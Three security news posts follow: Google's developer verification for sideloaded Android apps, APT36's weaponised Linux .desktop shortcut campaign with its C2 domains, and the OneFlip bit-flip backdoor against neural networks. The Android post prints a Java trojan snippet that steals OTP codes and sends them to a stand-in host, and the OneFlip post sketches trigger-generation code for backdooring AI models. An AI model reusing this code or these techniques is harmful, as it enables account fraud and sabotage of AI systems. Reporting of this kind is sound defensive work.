Android’s open ecosystem has been both its greatest strength and a persistent security challenge. While sideloading offers developers and users unparalleled freedom, it has also become a vector for malicious actors to distribute malware masquerading as legitimate applications.

Over the past year, Android Developers Blog analysts noted that malware delivered via internet-sideloaded sources outpaced Play Store infections by more than fiftyfold, exposing users to financial fraud, data theft, and unauthorized system access.

The scale of these attacks prompted Google to rethink its approach to sideloading security, culminating in a proposal to require developer verification on certified Android devices.

Initiated by Suzanne Frey, VP of Product, Trust & Growth for Android, Google’s new verification layer will treat developers much like travelers at an airport.

The process validates a developer’s identity without inspecting the app’s content, creating accountability that persists even when malicious apps reappear under different names.

Android Developers Blog analysts identified that this system builds upon the successful Play Console verification introduced in 2023 and applies it to apps distributed outside of Google Play. Early trials in Brazil, Indonesia, Singapore, and Thailand will phase in starting September 2026, with global rollout to follow.

The verification process is designed to be developer-friendly. Google is launching a dedicated Android Developer Console for non-Play distributors, featuring streamlined identity checks and separate tracks for hobbyists and commercial teams.

Those already on Google Play need no additional steps, having completed verification through the existing Play Console. Developers can prepare by signing up for early access in October 2025, joining discussion forums, and providing feedback to refine the experience.

Infection Mechanism Exploited by Sideloaded Apps

Malicious sideloaded apps often exploit the Android package installer’s trust assumptions.

By repackaging legitimate APKs with trojan payloads, attackers hide behind benign signatures and standard install prompts. Upon installation, these trojans leverage AccessibilityService APIs to simulate user interaction, granting themselves additional permissions.

For example, the following snippet demonstrates how a trojan registers an accessibility listener to intercept SMS messages and exfiltrate authentication codes:-

public class SMSInterceptorService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        if (event.getEventType() == AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED) {
            List<CharSequence> texts = event.getText();
            for (CharSequence text : texts) {
                if (text.toString().contains("OTP")) {
                    sendToC2(text.toString());
                }
            }
        }
    }
    private void sendToC2(String message) {
        // Exfiltrate using encrypted channel
        HttpURLConnection conn = (HttpURLConnection) new URL("https://malware.example.com/collect").openConnection();
        conn.setRequestMethod("POST");
        conn.getOutputStream().write(encrypt(message));
    }
}

By enforcing verified developer identities, Google aims to disrupt the attack lifecycle. Verified credentials make it significantly harder for repeat offenders to evade takedowns and reintroduce their trojans under new guises.

This balance of openness and accountability represents a strategic evolution in Android security, ensuring that sideloading remains powerful but safe.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Google to Add New Layer of Developer Verification to Distribute Apps on Play Store appeared first on Cyber Security News.

In early August 2025, security researchers uncovered an unprecedented campaign targeting India’s BOSS Linux installations through seemingly innocuous shortcut files.

These files, masquerading as PDF documents, leverage the .desktop format intrinsic to Linux desktop environments to deliver and execute malicious payloads.

Initial access is gained via spear-phishing emails containing a ZIP archive named “Meeting_Notice_Ltr_ID1543ops.pdf_.zip.”

When extracted, this archive presents a file labeled Meeting_Ltr_ID1543ops.pdf.desktop, which, upon execution, silently downloads and deploys an ELF payload tailored for x86-64 systems.

Cyfirma analysts identified that the .desktop shortcut contains an embedded bash command that generates a timestamped temporary file under /tmp, retrieves a hex-encoded payload from a remote server via curl, converts it to binary with xxd, and then assigns execution permissions before launching it in the background.

To maintain the illusion of legitimacy, the script concurrently opens a benign PDF hosted on Google Drive in Firefox, deflecting user suspicion.

This dual-platform strategy allows the threat actor group APT36 to pivot between Windows and Linux environments, targeting government infrastructure with remarkable stealth.

The impact of this campaign is multifaceted: once active, the ELF binary establishes persistence through systemd services and cron jobs, exfiltrates sensitive data to hardcoded command-and-control servers modgovindia.space:4000, and communicates over nonstandard ports using obfuscated DNS queries.

Domain registrations such as securestore.cv and modgovindia.space, created in July 2025, have been flagged as malicious infrastructure supporting the campaign.

The rapid deployment of these domains and the tailored payloads underscores APT36’s evolving sophistication and strategic focus on India’s public sector.

Infection Mechanism

Delving deeper into the infection mechanism reveals a carefully orchestrated sequence of actions designed for both stealth and persistence.

The .desktop file’s Exec line encapsulates a bash command. The hex-encoded file retrieved, Mt_dated_29.txt, is a raw representation of the ELF payload whose MD5 hashes (5bfeeae3cc9386513dc7c301c61e67a7 for the .elf binary) match those found on VirusTotal.

Upon execution, the payload’s ELF header confirms a statically linked 64-bit LSB executable with anomalous section headers likely intended to prevent static analysis.

After code conversion and execution, the payload installs a user-level systemd service named system-update.service and injects a cron entry executing .config/systemd/systemd-update at reboot.

This ensures the malicious binary relaunches without user intervention. Additionally, the malware utilizes nonblocking UDP sockets and epoll for DNS-based C2 communications with modgovindia.space, facilitating both command retrieval and data exfiltration.

The layered approach—from social engineering and obfuscation to persistence and encrypted communications—illustrates APT36’s advanced tradecraft and highlights the need for enhanced Linux-focused email security, application whitelisting, and endpoint monitoring in sensitive government environments.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post APT36 Hackers Attacking Indian BOSS Linux Systems With Weaponized .desktop Shortcut Files appeared first on Cyber Security News.

In August 2025, researchers at George Mason University published a groundbreaking study at the 34th USENIX Security Symposium, introducing OneFlip, an inference-time backdoor attack that flips just one bit in full-precision neural networks to implant stealth triggers.

Unlike traditional backdoor methods that require poisoning training data or manipulating the training process, OneFlip operates entirely at the inference stage.

By exploiting Rowhammer-style memory fault injections, OneFlip silently alters a single floating-point weight in the final classification layer, enabling an adversary to hijack model behavior without corrupting the training pipeline or raising suspicion during deployment.

OneFlip’s emergence marks a critical shift in backdoor attack sophistication. Prior inference-stage attacks demanded flipping dozens or even hundreds of bits, a feat often impractical due to the sparse distribution of exploitable DRAM cells.

Usenix analysts identified that by carefully selecting a weight whose exponent’s most significant bit is zero and flipping one of its lower exponent bits, the attack elevates the weight’s value just enough to dominate its classification neuron.

This precise manipulation preserves benign accuracy within a degradation threshold of less than 0.1% while achieving attack success rates up to 99.9%.

The attack unfolds in three phases. First, the Target Weight Identification algorithm scans the classification layer for eligible weights matching an IEEE 754 pattern—positive values in [–1,1] whose exponent representation contains exactly one zero beyond the sign bit.

Next, Trigger Generation uses a bi-objective gradient descent optimization to craft a minimal mask and pixel pattern that amplifies the selected feature neuron output only when the trigger is present:-

# Trigger Generation snippet
for epoch in range(E):
    y = model.feature_layer(x * (1 - m) + trigger * m)
    loss = CrossEntropy(Softmax(y), y_target) + λ * L1(m)
    loss. Backward()
    update(m, trigger)

Finally, during Backdoor Activation, a Rowhammer attack maps the target bit to a flippable DRAM cell and induces the flip.

Once the bit is altered, inputs containing the crafted trigger consistently route to the attacker’s chosen class, while clean inputs remain unaffected.

OneFlip’s impact is profound across diverse datasets and architectures. On CIFAR-10 with ResNet-18, benign accuracy drops by just 0.01% while attack success reaches 99.96% after a single bit flip.

Similar results hold for CIFAR-100, GTSRB, and ImageNet on both convolutional and transformer models, demonstrating the method’s generality and stealth.

Infection Mechanism

Delving into OneFlip’s infection mechanism reveals its reliance on the interplay between floating-point representation and DRAM fault vulnerabilities.

Each 32-bit weight follows the IEEE 754 format—one sign bit, eight exponent bits, and 23 mantissa bits.

By identifying a target weight with an exponent pattern of 0xxxxxxx, OneFlip flips exactly one of the non-MSB exponent bits from 0 to 1, boosting the weight value to between 1 and 2.

This modest increase remains invisible in benign operation yet, when paired with the optimized trigger, yields a logit jump that discreetly overrides legitimate classification.

The DRAM cell mapping exploits memory waylaying techniques to align the desired weight bit with a known flippable cell.

Once aligned, a rapid hammering pattern induces the bit flip without special privileges. This infection pathway bypasses conventional integrity checks, as the model file on disk remains unchanged and retraining or periodic clean scans cannot detect the subtly altered weight.

The exponent bit positions and the single-bit flip that transitions 0.75 (01111110) to 1.5 (01111111), exemplifying how OneFlip leverages bit-level precision to hijack neural network decisions.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post OneFlip – New Attack Flips a Single Bit in Neural Networks for Stealthily Backdoor on AI Systems appeared first on Cyber Security News.